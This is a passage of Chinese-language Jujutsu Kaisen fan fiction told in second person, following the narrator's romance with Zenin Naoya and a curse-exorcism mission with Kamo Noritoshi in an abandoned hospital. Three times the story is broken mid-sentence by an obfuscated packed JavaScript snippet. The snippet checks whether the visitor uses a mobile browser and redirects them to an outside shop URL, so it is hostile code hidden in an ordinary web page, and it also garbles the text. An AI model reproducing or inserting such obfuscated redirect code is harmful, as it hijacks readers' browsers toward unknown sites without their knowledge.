说实话直哉接吻的技术确实在不断提升,他毕竟从小被称为禅院的天才,在任何事情上学的都很快也是合理的,对此你给与肯定,并且回味一下感觉还不错,表示满意。 想到这点的你突然停顿了换衣服的动作,开始告诫自己你是高智商人类,你不能被人类底层的欲望牵着鼻子走。 虽然你知道那可能是人体的底层逻辑,但是在被他亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055188|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吻的时候你偶尔会深刻体会到‘爱’的错觉。 ‘我爱直哉吗?’你扪心自问。 你摇了摇头,‘爱’实在是一种轻薄的假象,你需要直哉,你也信赖直哉,这样就足够了。至于在原始行为中所感受到的爱意?那应该如同身体分泌多巴胺一样,生理现象罢了。 直哉慕强慕颜,你也一样,如果出现了比直哉更漂亮更强更听话的人,你应该会更喜欢‘他’吧?是‘她’也行。 只要很强很美又听话就可以,你不挑,但是前提是必须比直哉更好,你有点怀疑是否真的存在这样的人,同时还愿意听你的话。 你并不为自己这样的想法感觉到羞耻,因为在你的眼里,直哉会搭理你,也是因为你有术式有咒力,出身有点用,同时还年轻貌美,在两人相处中你也算乖巧配合(虽然主动性未知)。你俩都是对方的条件单,谁也别嫌弃谁。 直哉在衣帽间外催促你快点,上学要迟到了。 你应了一声推门出去,然后惊讶看到他今天居然没穿日常的那一套,今天的直哉换了牛仔裤和T恤,看起来更像个青春男大学生了。 二十七岁的直哉有着一张青春男大学生的脸,毕竟是养尊处优的少爷嘛,你想。 “快走了。”他有些不耐烦地伸手把你拉了过去,“今天我开车送你。” “司机呢?”你觉得有些奇怪,直哉可是在家里鞋带都要佣人跪下来系的类型。 “啰嗦。”直哉拉着你往外走,他是不会和你承认,其实他想和你更多一些独处的时间,如果说出来就好像他是个恶心的恋爱脑一样。 你被拉得踉跄了一下,手心传来直哉的触感和热度,不禁又让你想到了昨天晚上他热乎乎的身体和淡淡的熏香味道。 “直哉。”你忍不住关心他,“背上,就是我抓的那里……上药了吗?” “哈?那点早就自己愈合了。”他没想到你居然会关心他,反手轻轻挠了挠你的手心,“坏猫抓人。” “那你就是坏狐狸咬人。” “狐狸?呵,我没吃掉你已经很好了。” 你总觉得他说的‘吃’是别的意思,你想反驳说你昨天‘吃’了很多啊……却看到走廊上迎面而来一个穿着和服面色非常阴沉的中年男人。 你从小就自由出入禅院,对此人当然也是认识的:禅院真希姐妹的父亲,禅院扇。 据说他曾经也想成为家主,但是在竞争中输给了直毘人叔叔,所以他总是一脸阴恻恻的表情,看起来郁郁不得志。直哉也不是良善之辈,日常用他的女儿咒力低微(和无咒力)来刺激他。 所以你们在走廊相遇,你也是不需要和他打招呼的。 因为直哉必然会发动攻击。 “哟,这不是扇叔吗?大早上的就这么悠闲可真是让人羡慕,赋闲的人果然无事可做啊。有时间不如去管教一下真依,她这样的吊车尾学人家校园霸凌,不觉得很可笑吗?”直哉收敛了和你玩闹时的温情脉脉,又摆上了垃圾屑人一般恶意满满的表情,仗着他一米八多的身高居高临下地笑说。 “哼。”对方也有所准备,“不劳你费心,你小心自己别死在女人身上就好了。” 说完他晦暗不明地看了你一眼,匆匆离去。 你就知道会是这样。 所有人在和直哉对骂的时候都会把你拉进战局,即使你什么也没说,你也是直哉被攻击的点。你认为这样非常不对。 ‘也许是因为……大家都知道直哉是我的小狗?’你天马行空一般发散逻辑,‘打狗要看主人面,所以狗狗咬人,大家也都指责主人。’ 直哉提到了真依,虽然你并不觉得真依会听她老爸的,但是他好歹把你的抱怨当个事办了。 你觉得直哉还不错,服从性和主动性上来说都可以打满分吧,goodboy。 8. 第 8 章 回到学校还早,直哉虽然有些胡闹,但是居然是个非常准时的人。 准时、爱干净、仔细、珍惜自己的武器,这些都是他的美好品质,不过禅院其他人意识不到。 你告别直哉,并且约定好周五下午见,然后就回到了宿舍放下东西,准备去上早课。 今天的课表是世界史和日本史,你坐在宪纪身后昏昏欲睡,课本的内容其实早就背下来了,说是背其实也不准确,基本上是看了一遍后就记住了。 和直哉一样,你也是相对于普通人来说的天才,只是你的外公是个老人,所以他很少会夸奖你。 老一辈的人总是更爱自谦,如果不是因为你实在是容貌昳丽,他可能都会和人介绍说我外孙女长得很普通……现在他对你的外形描述也只是秀美罢了。 你注意到西宫桃偷看了你好几眼,可能是在看你脖子上的红痕,她看了你,又迅速编辑信息,大概是在和另一个教室的禅院真依小窗八卦。 直哉的本意是希望宪纪看到他的标记,事实上好像只有女性在注意这一点,宪纪和你聊天的时候不会盯着你看,看到痕迹他也不好意思深想。 这很无聊,你指的是直哉。 你打了个哈欠,单手撑住脸,不让自己真的倒下睡着。 虽然真的睡着了也没什么问题,但是你不想老师总去找你外公告状,一个班级里就四个学生,大家都很难浑水摸鱼偷懒,连东堂葵都在记笔记。 你不用问都知道,如果问东堂葵为何如此认真?答案一定是:偶像小高田喜欢知识渊博的男人。 一个两个的都奇奇怪怪的,你看着同学们,又想到直哉,再想到你年近八十满口规矩传统却还在组摇滚乐团的外公,最后想了想自己。 咒术师果然都不是什么正常人。 …… 午饭你照旧是和宪纪一起吃,人是社会动物所以需要合群,东堂葵是动物所以不需要社会关系,西宫桃雷打不动和禅院真依、三轮霞一起吃,机械丸不需要吃饭。 所以你只能和宪纪一起,宪纪也只能和你。 你挑挑拣拣地把便当里的青椒都挑出来拨给他。 这样的行为如果被直哉看到他一定又跳起来,但是对你来说很合理,宪纪爱吃青椒就都给他。这是资源合理配置。 如果你的想法被加茂宪纪知道,他一定会震惊反驳。 他并没有爱吃青椒!只是他日常提醒你别浪费青椒,所以给你造成了他很爱青椒的错觉。 礼尚往来,他也把炸虾给了你一个。 你们这样的行为已经持续了三年,作为当事人的你俩都没觉得这有什么,毕竟是用干净的筷子互换的食物,间接接吻都谈不上。 “呵。”食堂的另一侧,真依小声对桃说,“吃饭也要和男人黏黏糊糊。” “禅院直哉知道吗?”桃露出一个有些玩味的笑容,“一大早我就在天上看到,是禅院直哉开车送她来的学校。” “禅院直哉就是个窝囊废。”真依呵出声,“他是浅川离的狗,知道了又能怎么样,大概会抱着浅川离哭着求她别离开吧。” “他在浅川离面前那么弱势吗?”桃压低声音,“那个禅院直哉不是一个论外之男吗?为什么在她面前服服帖帖的?” “他本来就是个爱盯着女人屁股看的肤浅男人。”真依提起家中不可一世的嫡子就很不喜,“两人也算般配,都不是什么好人。” “欸?”三轮霞只觉得她俩的话题过于劲爆,浅川学姐其实……其实人挺好的,但是她知道此刻说这个会引起两个好朋友的剧烈反对,三轮是不爱纷争的性格,于是她欲言又止,还是止了。 其实她觉得……禅院直哉被浅川学姐吸引实在是非常正常,浅川学姐长得好像画出来的人一样美丽,稀有的银白色长发和白皙的皮肤让她看起来月光一样皎皎,琥珀色的眼睛更是宝石一样璀璨。她是女性,她也喜欢浅川学姐的美貌,禅院直哉是个正常男性,喜欢浅川学姐也是无可厚非。 对于同学们的嘀嘀咕咕,作为咒术师的你和宪纪其实都听到了。 并不是完全清晰,但是你能知道她们在说你坏话。 “浅川……这些话,不必放在心上。”宪纪想安慰你,但是也有些词穷,毕竟他知道自己也并非完全清白,他当然没有想和直哉抢夺你的意思,但是他也曾看着你的脸发呆,日久生情是不是真的他不知道,但说对你完全没有好感那也是骗人。 “没关系,我是无所谓的。”你认真吃着饭,“反正都快毕业了,之后也不会有什么交集吧?” 西宫桃?这人你可能都见不到几面,她的父亲是个美国人,虽然也是咒术师,但是基本上游离在主流圈子之外。 禅院真依?也许你去禅院能见到她,但是禅院真的挺大的,你一般在直哉的院子里活动,基本上遇不到。 她们不能影响你,你也不会影响她们,至于说坏话? 你无所谓,你在背后也会和直哉说她们,这是很公平的。 “下午有个任务。”宪纪将话题引到了咒术师的工作上。 “嗯。”你习以为常,接过了他递来的任务简报。 任务目标是准一级的咒灵,位置在某家废弃医院,诅咒来源是医疗事故,任务人是你和加茂宪纪。 这对你俩来说是家常便饭,在咒术师的评级中,一级咒术师要有对付特级的实力,准一级则是要有对付一级的实力,现在这个咒灵才准一级,其实宪纪一人也是可以完成任务的。 你和老师庵歌姬一样被规划成辅助型术师,这决定了你无法单独行动,而在京都校的同学里,你只信任宪纪可以保护好你。 不仅仅是因为他很强,还因为他不讨厌你。 下午你们收拾了一下随身物品便坐着辅助监督松下的车去往了目的地。 你们并排坐在后座,宪纪闭目养神,虽然他日常看起来都没有睁开眼睛,但是此刻确实是在假寐。 你和直哉有一搭没一搭地聊着line。 直哉抱怨你回信息好慢,又嘱咐你注意安全,最后再抱怨为什么又是加茂。 当然他也只是说说而已,你真和禅院真依去做任务,直哉会吓得立刻赶来。理由应该是真依很弱,真依心怀不轨等等。他虽然忌惮宪纪,但是也认可他的能力(部分)。 你聊得有些眼花,于是和直哉说晚点再说,然后就合上了手机屏幕。 “松下先生,还有多久才到呀?”你问前方的驾驶室。 松下是个戴着眼镜的古板西装男,被你突然点名惊讶了一下,但是他很快收敛好情绪:“浅川小姐,还有一小时路程,您可以在车上休息一下。” “好远……”你小声抱怨了一句,但是还是礼貌回应,“好的,我明白了,谢谢您松下先生。” 虽然真依她们对你有骄纵任性大小姐的刻板印象,但是其实你是个有礼貌的人,特别是对自己人。 外公和直哉都是你的自己人。 松下先生会日常跟着你和宪纪任务,你觉得他是外公选出来的可信任之人,所以也在自己人的范围里。 虽然没有到你也信任他的份上,但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055189|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不妨碍你对他礼貌又客气。 实在是有些无聊,你百无聊赖地靠到座椅靠背上,先扭头看看宪纪,再扭头看看窗外,在心中感觉到些许遗憾:为什么身边坐着的不是直哉? 如果是直哉就好了,你就可以靠在他的腿上睡到目的地了。 在车辆的摇晃和无尽相似的风景中你昏昏欲睡且真的睡着,等再醒来发现自己的脑袋搁在宪纪的肩膀上,他不敢看你,白皙又线条分明的脸也完全红透,他似乎是想和你解释,又不知道如何开口。 “抱歉。”你赶紧坐正,你不知道靠了他多久,但是你知道这会让他一直正襟危坐,是很辛苦的,所以你麻溜道歉了。 “不,没什么。”宪纪快速摇头,“到了,走吧。” 你跟着他下车。 在医院前方百米的位置上,松下先生念动了咒语,放下了漆黑的帐。 你跟着宪纪在昏暗的废弃医院里缓慢前进,脚下艰难,不是因为诅咒,而是满地都是垃圾。 你有些嫌弃地捂住鼻子:“味道好大。” “因为此处一直有诅咒作祟,清洁团队也无法进入。”宪纪解释道,“等祓除了咒灵就能收拾干净了。” “有人员伤亡吗?”你记得简报没写。 “也许有,也许无。”宪纪摇头,“附近本来有些流浪汉但是都失踪了,有可能是流浪到了其他地方,也有可能……” 他的话戛然而止。 你发现他惊讶的眼睛都睁大了。 你们的正前方,赫然是一团一团的人类,仿佛被什么巨大的力量揉搓成一团的人类。 “是流浪汉吧?”你说着展开了结界。 以你为圆心的五米范围内,突然展开了一个非常亮堂的空间,你模拟出了日常训练室的环境,在这样干净且亮堂的光线下,本来和墙壁贴在一起的咒灵就这样完全暴露了出来。 接下来其实你不需要做太多,宪纪的能力对付这种杂鱼游刃有余,你看他仅仅用了几次穿血就将完全无处隐藏的咒灵打散祓除,然后你觉得可以收工了。 今天也是无伤过关的一天,很棒。 你没有什么营养地和宪纪互相说了‘辛苦了’之类的客套话,略显嫌弃地在肮脏的地面上小心行走,你们不需要处理流浪汉的尸体,窗的后勤人员会来回收。 你们只走了几分钟就感觉很不对劲。 因为你们又回到了流浪汉尸体的坐标处。 “还有一只级别更高的?”你敏锐发现了真相,有些不确定地看向宪纪,等他分析。 宪纪下意识靠近了你一步,这样的距离更加方便保护你,如果还有一只且到现在才被你们发现,那么级别可能已经接近特级。 对于他来说,你不但是并肩作战了三年的同班同学,同时也是他所敬仰的校长的外孙女,同时也是咒术界不可或缺的能力者。不管任务如何,保护你的性命安危是最重要的,这不光是对辅助术师的关怀,也出自他的私心。 他无法言明的是对珍视之人的心意,在明知道你有一个青梅竹马转正的男朋友的情况下,他也还是把你当作重要之人。 看着你纤细到随手就好像能折断的手腕,他皱眉,并暗下决心一定要保护好你,绝对不能让咒灵碰到你,你看起来是那种被咒灵碰一下就会碎的类型。 虽然他知道校长和禅院直哉肯定给了你不少保命的咒具穿戴在身上,但是那是没有办法的办法,有他在,暂时还不需要用到那些东西。 他看向你,语气也郑重了起来: “跟紧我,浅川。” 9. 第 9 章 其实对于这样的情况,你并没有感觉有什么紧张害怕,咒术师这个职业就是会遇到各种各样的突发情况,祓除的咒灵肚子里突然又出来一只,二级变成一级,一级变成准特级,这些都是家常便饭。 因为这些变化而死亡的咒术师其实挺多的,当然很多变化其实来自于后勤观测的失误,或者是高层的倾轧,这就不是一两句话能说清的了。 但是这次有一些不一样,你和宪纪单独遇险了。 你默默跟在他的身后,心思却有一部分开始思考直哉相关的事情。 他对你的同学加茂宪纪有敌意和警惕,你们一起消失,估计他在外面比你们的心跳还要加速。 事实上你猜的八九不离十。 直哉回到禅院先脱下了那身现代青年的装扮,他先换了日常的袴和暗纹羽织,然后去训练场盯了一会儿躯俱留队的训练,嘲讽了几人和提点了几人后,他在众人噤若寒蝉的谨小态度中扬长而去。 他当然知道这群人大部分在心里骂他垃圾、屑人、垃圾屎之类,但是他不太在意这个,作为禅院嫡子如果需要在意下人们的评论,他该有多忙啊? 他一上午都在办公,间隙和你发信息。 直到你进入了任务地点,他才开始专心工作。 他对你和宪纪的任务多有了解并知道任务难度不大,当三小时后你还没有新的动态,他的心中也浮起了一丝不安,并且开始控制不住地在心里辱骂:加茂宪纪是废物吗,这种程度的任务,他居然三小时都没有解决。 等到天色渐暗,太阳逐渐下山,你还没有发来任何信息。 直哉把写的书法揉成一团丢掉,看着安静的手机,心里升起了一丝不好的预感。 此时一个美貌的侍女端着茶和点心进屋放下,在离开时对他投去一枚秋波,然后磨磨蹭蹭地往外退。 “看什么看!眼睛不要可以捐掉!”直哉和她四目相对,然后直接把点心掀翻在地,他本来心里就烦,看到对方明显的企图后更是烦上加烦。 这样的情况并不是第一次,只要你在学校,总有姿色不错的女人往他跟前凑,他也不是傻子:周末你在禅院家的时候,端茶倒水的都是面目平庸的侍女,而当你不在,来的就是全妆还喷香水的美丽侍女,这个目的实在是太好懂了。 “滚出去!”直哉根本不顾对方的颜面,直接大吼。 侍女匍匐在地上扑簌簌掉眼泪,边掉眼泪边收拾点心的残渣,她没想到自己会被这样凶恶地驱赶,毕竟日常少爷只会轻蔑看她们,而不是直接骂人,她意识到自己是撞到枪口上了,收拾完地上的狼藉就赶紧跑了。 “阿离到底在干什么,那个废物加茂是在帐里和咒灵下棋吗?”赶走了美貌侍女,直哉没好气地将毛笔随手丢在了桌上,那张新取用的上好宣纸立刻被墨染成了一团,他抬头看窗外血一般的火烧云,心中不安更甚。 “看起来像逢魔之时一样。”直哉没好气地自语,然后他直接拨打了一个号码,“喂,是我,禅院直哉,坐标。” 那位被你认为是外公的人的辅助监督松下先生,其实是直哉的人,这点你是完全不知道的。 知晓地点后,直哉很快就坐着禅院的专车到了任务点外围,他先询问了松下,又看了你们的任务简报,然后就迁怒松下为什么不把简报先给他看。 松下当然是点头道歉,直哉其实知道光看简报这是很简单的任务,所以没有继续追究。 他把简报随手丢回给松下,然后甩开试图阻拦的手下,直接闯进了帐。 和直哉所想的情况差不多,医院本身已经没有咒灵,你和加茂宪纪应该是被某种扭曲空间的特级或准特咒灵传送到了异空间,他懊恼地‘啧’了一声,但是他毕竟是个咒术师而不是言情小说里的霸道总裁,根据经验他知道死磕这所医院没有任何用处,于是他出了帐,打电话开始安排禅院的医疗人员过来待命。 全程松下和禅院人都大气不敢出,只看着直哉抱臂站在帐外,一脸不好惹低气压的样子。 一直到天色完全暗下来,松下才犹犹豫豫地靠近直哉,告知他任务安全时间已过,按照流程他应该上报给高专了。 “上报有什么用?”直哉冷哼。 在松下的角度看,禅院直哉的眉眼俊美凌厉,因为身高的关系他需要微微仰视他,更显得他像个天生的上位者,光是听到这样一句不赞同的话,松下就失去了上报的勇气,退到一边等待。 …… “走来走去都还是原地。”你有些疲惫,走了一整个下午都没有找到出口,你觉得腿好酸,走几步你就放一个训练室结界出来,这个结界没有什么用处却干净到一目了然,大部分咒灵无法遁形。 “它似乎只是想把我们困在里面。”宪纪取出咒术师专用的补剂递给你,“坐下来休息一下吧,浅川。” “直哉肯定担心死了。”你一脸不情愿地接过,你很不喜欢补剂的味道,但是没办法只能往嘴里倒。 “哇啊,好难喝。”一口闷,你的脸都要皱成一团了,你无法想象宪纪是如何面不改色地喝下去的。 ‘好像小猫在皱鼻子’,看着你的样子,宪纪没来由地这样想,他很快又制止了这个想法,猫塑同学好像有点不礼貌,接着他又从口袋里摸出了一颗奶糖递给你。 “谢谢……加茂你怎么会带着糖?”你接过撕开包装丢进嘴里,那种恶心的味道终于被缓冲了一些。 看着你舒展开的眉头,宪纪沉默了几秒,然后说是三轮霞给的。 “哦。”你没有深究,三轮就是一个可爱的小女孩,会分享糖果给大家实在是正常不过。 和你的云淡风轻不同,宪纪只觉得耳根都红了,因为他对你撒谎了。 糖确实是上午三轮给的,但是三轮并没有想分给他,是他鬼使神差一般去要了一颗。 他无法直视自己当时的想法。 他当时想的是:之后的任务中,万一浅川需要呢。 这样的想法让他羞耻,他不知道他这样的行为到底算是什么?过度关注?区别对待?作为京都校几近于队长位置的他,关心队员是职责所在,可是他为什么只关心浅川离…… 你的注意力都在口中的甜味上,顺便看了一下糖纸,你感觉这个牌子的糖还不错,回去你也可以买一点,浑然不觉身边的宪纪正在脑海里天人交战。 稍微补充了一点能量和甜份,你又打开了训练室结界,熟悉又干净亮堂的环境在你们的面前展开,下一秒宪纪的穿血就朝着你的左前方迅速而去:是咒灵现身了。 说是咒灵也不完全,只是一条巨大的尾巴,它被结结实实命中,断开的同时你听到一声混合着男人女人小孩老人的哀鸣,这必然会让普通人毛骨悚然,但是你没有什么恐惧。 你和宪纪都习惯了,这也是京都出身的年轻咒术师的不同之处,从小耳濡目染,长大了很难再有太多波澜,只有在对方是特级的时候才会考虑一下自己是否会死。幸运的是,眼前这一只应该只是刚突破一级,你们这次肯定不会死。 你跟着宪纪朝着咒灵断尾的方向奔去。 你的体术很差,跑八百米都累的要死,但是你有爱你的外公和操心的竹马,所以你身上满身咒具,其中也包括了能短暂提升速度和力量的符咒,日常你会将咒力储存在里面,需要到时候直接催动。 你所注入的咒力不多,一天大概能用个五分钟,这也足够了。 那只咒灵罕见遇到对手,或者说它从来没有受过伤,它哭嚎着逃窜,满地洒下红色的血泪,简直是在自动标记路线。 你和宪纪此刻不会考虑是否是陷阱,进攻就是最好的防御,特别是你们可能在它的身体里,多待一分钟都有被诅咒污染的可能性。 你跟着宪纪狂奔,终于来到一条死路,那只咒灵也整个暴露在了你们的面前。 是很普通的咒灵模样,看起来是各种恶心片段组合起来的一个怪物,这倒是没有什么可说的。 它开始掉眼泪,看起来好像很不想被祓除。 当然这和你们关系不大,你虽然并没有在宪纪面前展现全部实力的意图,但是你知道这时候也得干点活,于是你展开了岩浆结界,将你们三个单位都笼罩其中。 你是结界的主人,所以你可以选择结界的范围,你避开了宪纪的脚下,只让熔岩围绕着咒灵的范围。 一般来说你都是这样使用结界的,但是有些结界实在是敌我不分,例如强光,你需要触碰队友的身体才能让队友获得豁免效果,最好的办法就是跳到队友背上,这有些不体面,所以你很少让这样的情况发生,当然直哉是例外的,你在他面前没有体面与否的担心,骑在他脖子上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055190|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你都觉得是应该的。 岩浆迅速在眼前铺开,直到一个房间大小停下,宪纪有些赞许地看了你一眼。 对于你来说,京都校最可靠的队友是宪纪,其实对他来说也是一样。 在宪纪眼里的你情绪稳定、临危不乱、见多识广(咒灵方面)、战术灵活,虽然在行进过程中你会有些小抱怨和小脾气,但是遇到咒灵你是真的很可靠啊。 那只产自医疗事故的咒灵当然没有见过岩浆,它开始在灼热的地面上跳起了踢踏舞,同时这种接近特级的咒灵有了部分灵智,它看穿了你的结界大小基本上只能这样,于是忍痛也要逃。 宪纪又拆了新的血包,很快血液就束缚住了那只咒灵,它挣扎着,下半身被岩浆灼烧殆尽,慢慢和圣代融化坍塌一般软倒下去。 “呼。”随着咒灵身影完全消散,你们也回到了真实的医院内。 “这次可真是辛苦我……们了。”你小声嘟囔,其实并没有想加个‘们’,但是客气一下也没什么不好。 “辛苦了,浅川,你的作用很大。”宪纪也有些疲劳,但是他毕竟是加茂嫡子,即使是这时候,他的腰背还是挺直的。 看着他挺拔的身形,你不禁想到了直哉。 他也是……在任何时候都站得非常直,这就是御三家的通用习惯吗?你发散着思维。 “阿离!” 你惊讶抬头,宪纪不会这样叫你,只有…… “你吓死人了你知道吗!”来人不是直哉还能是谁?他一直守在帐内,在医院的空间扭曲的那一瞬间他就知道你回来了,他一把将你捞进怀里紧紧扣住,然后又松开你开始上上下下打量。 “……禅院先生,先出去吧。”宪纪微微侧开脸,不去看你们的亲密行为。 “呵,加茂,作为御三家未来的接班人,带着同学能在咒灵设伏下迷失那么久,真是嫡流楷模啊。”直哉搂着你,先斜睨了一眼宪纪,又慢条斯理地开口,他的讽刺真心实意,迁怒埋怨也都写在脸上。 “直哉。”你立刻掐了一把他的腰,“这也不是加茂同学可以决定的啊,本来这种咒灵就……” “看来加茂家也不过如此。”在被你掐到腰上软肉的时候直哉憋的很辛苦,但是他还是要刺激宪纪,“加茂君,我们先告辞了。” “直哉!”你想让他闭嘴,但是他已经拖着你走了,你只好回头抱歉地看向宪纪。 你根本没觉得这是宪纪的责任,你和他都是准一级咒术师,也不能因为他姓加茂就把责任都给他吧? “无妨,浅川,我会提交报告的,请好好休息吧。”宪纪其实对禅院直哉也很火大,莫名其妙的跑来指责一通,但是他居然也能理解:心爱之人被困在只能从内部突破的领域里,禅院直哉应该也是吓坏了。 因为直哉日常在咒术界的形象就是恶劣的屑人,他的恶毒话语此刻杀伤力也变得近似于无,得罪所有人的好处就是,所有人都没觉得他在针对自己。 你被直哉拉上禅院的车。 “直哉!”你生气,“你弄疼我了!” “你吓死我了!”他没接你的指责,直接把你一把搂进怀里收紧,你感觉身体都要被压扁了,直哉的力气好大。 他没有了在宪纪面前的锐利刻薄,声音都是软软的,满满的委屈,又好像变成了被雨打湿的小狗。 你所有埋怨的话都一下子找不到出口,你安安静静地被他抱着,等他稍微松开一点点,你熟练地亲上了他冰凉柔软的唇。 他乖顺地被你亲吻着,身体一动不敢动,生怕你提早结束这个吻。 虽然你们是在你的成年礼当晚发生的第一次关系,但是其实很早你就经常这样吻他。 这似乎是一种对直哉最为有效的安抚,不管他是多么的暴怒,只要这样做了他就会立刻变回你最忠诚的小狗。 “好啦,我要休息一下。”你亲够了,往后退了一些距离,倒在座椅沙发上,“好累哦,直哉。” “睡……睡吧,其他的交给我。”即使有一大堆问题要问,即使还想对你尽情展现他的委屈和思念,但是直哉也是咒术师,他当然知道你的消耗,于是他按下了轿车后座的遮光板,让你沉浸在黑暗之中。 你本来就累了,很快就安稳入睡,毕竟直哉在你的身边,世界上没有什么地方比这里更安全了。 10. 第 10 章 你睡得昏天黑地,一夜无梦。 等你醒来的时候一群禅院的医护已经等在门口,直哉先进来摸摸你的额头确认你没有发烧,然后才让医护们进来给你检查身体。 “哼,进步很大,你以前出去春游回来都会发烧。”他拿着小碗开始喂你参茸鸡汤,语带褒奖,“这次很争气。” “哪有每次……嗯?你怎么没把我送回家,外公会担心的吧?”看着凑到你鼻子下方的瓷勺,你小小舔了一口,并没有太多胃口,毕竟这种鸡汤也不太好喝。 “我和乐岩寺校长说过了你在我这里。”直哉见你不爱喝,于是自己就着勺子尝了,他感受了一下味道,然后把碗递给边上的侍女,“有点凉了,去换一碗。” “不用了,我不想喝太烫的,太烫的食物可能会引发食道癌。”其实你不想喝是因为身体疲劳,和温度没有太大的关系。因为直哉肯定会坚持要你补充营养,你只好让侍女把碗给你,“还是我自己来吧。” “你自己怎么喝?手软脚软的。”直哉直接从侍女手里拿回碗,又耐心舀了浅浅的一勺送到你嘴边。 你知道和直哉争辩是浪费时间,只能张口喝了,他不紧不慢地一勺一勺喂你,耐心得好像换了一个好人内核一样。从你的角度看去,直哉金色的碎发微微垂着,将他的眉眼修饰得更加柔和,你认为这人如果能一直保持不开口,那就活脱脱一个善良的温柔美男。 “对了,直哉,你下次不要对我的同学不客气哦,特别是加茂同学。”在进食的间隙,你皱着眉头提出意见,“我在学校里本来就和他是固定的搭档,你应该对他客气一点,要有礼貌。” 直哉闻之色变,他轻薄的唇刚想再说些贬低宪纪的话,就听到你继续说。 “电视里,那种男主角的女朋友,还会烤饼干给男主角的同事们吃!目的就是促进同事们的友好关系,让工作更加顺利。”你语气认真,一脸’这是事实’的表情,在直哉几乎要发火的前一秒你赶紧补充,“我不会要求你给加茂同学烤饼干,但是你起码要友善!” 看直哉还是不服气的样子,你继续:“即使不为了我……他是加茂少主,你是禅院少主,五条家先不说,同为御三家的少主,未来你和他肯定有很多交集吧?” “知道了,我会对那个庶子客气的。”虽然你说的烤饼干很荒唐,但是你说的第二句话是事实,作为禅院家未来的当主(他自封),直哉当然也知道不应该得罪御三家的另外一家的少主(哪怕他是庶子转正。只能说他对宪纪的感情很是复杂。 首先他承认加茂宪纪存在的必要性,毕竟京都校内他认可实力的只有东堂葵、加茂宪纪和机械丸,机械丸是二年级的不提,东堂葵不可控且疯疯癫癫的,日常的任务你和加茂宪纪组队确实是合理的上选。 直哉是真心讨厌加茂宪纪的温和有礼,稳重自持,文质彬彬……这些优点都好像针一样扎在他的心里,因为加茂宪纪很好,所以更让人讨厌。 他当然相信你对他的爱(其实是相信你不会喜欢加茂),但是这和讨厌那家伙不冲突。 你想劝说他不要叫宪纪庶子,但是又觉得有点累,于是你报了一大堆甜点的名字,催促直哉派人去买。 “什么啊……你应该吃些更有营养的才对,吃完正餐才能吃那些东西。”直哉虽然不赞同,但是满足你似乎是他刻入骨髓的习惯,他还是立刻让仆人开车去买了。 “好了好了,直哉,过来抱抱我吧,我好难受。”你无视了他的饮食建议并提出了具体的要求,其实你并没有任何不适,你只是有些馋他的体温了。 此时此刻的你没想干点什么,虽然直哉看起来不算特别壮,但是他的胸肌也是又大又软,靠在他怀里可比任何沙发都要舒服,你刚好有些虚弱脱力,正需要用贴贴来获取安慰。 “真是拿你没办法,为什么总是那么粘人啊。”他嘴上抱怨,身体却很诚实,连嘴角都要压不住上扬,顷刻间他非常熟练地脱下外衣爬上床,用他结实的胳膊把你整个搂在怀里,还不忘用挺翘的鼻子在你的颈窝蹭蹭。 你被他的头发弄得有点痒,于是你微微回头想去拨开它们,却伸手摸到了直哉的脸。 直哉的脸光滑细腻,但是略有胡茬的粗粝,对此你有些惊讶,在你的印象里,直哉是个没有胡渣的男人(他修理的很勤快),你不喜欢太强的雄性气息,所以没有胡子也是他的优点来着。 你忍不住开始将他和其他人对比。 直哉漂亮,白皙,日常非常注意自己的形象并做毛发管理,这让你忽略了他是一个二十七岁成熟男性的事实,总以为他是你的同龄人,形象趋近于美少年。 客观从身形的宽度来看,他其实是一个妥妥的熟男,就好像去年诅咒师夏油杰在京都投放的百鬼夜行中,从东京前来支援的那位七海建人先生一样…… 直哉和七海建人先生应该是同岁的……你有些意外这个事实,因为直哉很难给你靠谱成年人的感觉,虽然他能为你处理好一切,但是在你眼里他和‘大人’二字相去甚远。 他甚至比你更幼稚一点,这是你的第一感受。 “怎么了?”直哉注意到你在思考,他还以为你是单纯嫌弃他的脸不够光滑,于是他贴着你的耳朵蹭你,顺便给自己解释,“这两天忘记刮胡子,等下你要帮我吗?” 并非他封建少爷人格突然占据大脑,而是你非常喜欢‘玩’他的脸和头发。 直哉就像是你的第一款也是唯一一款芭比娃娃,他最初的金发是你在乐岩寺宅的浴室里给他染的,你偶尔也可以修他的胡茬,这不是劳动,对你来说是一种‘游戏’。只是自你就读京都高专后,也许因为你已经算是少女了,这样的‘游戏’你们已经很久没有玩了。 “真的吗?”你立刻星星眼,‘腾’地转头差点撞到直哉高挺的鼻子,“那我去拿剃须刀,直哉你来浴室!” 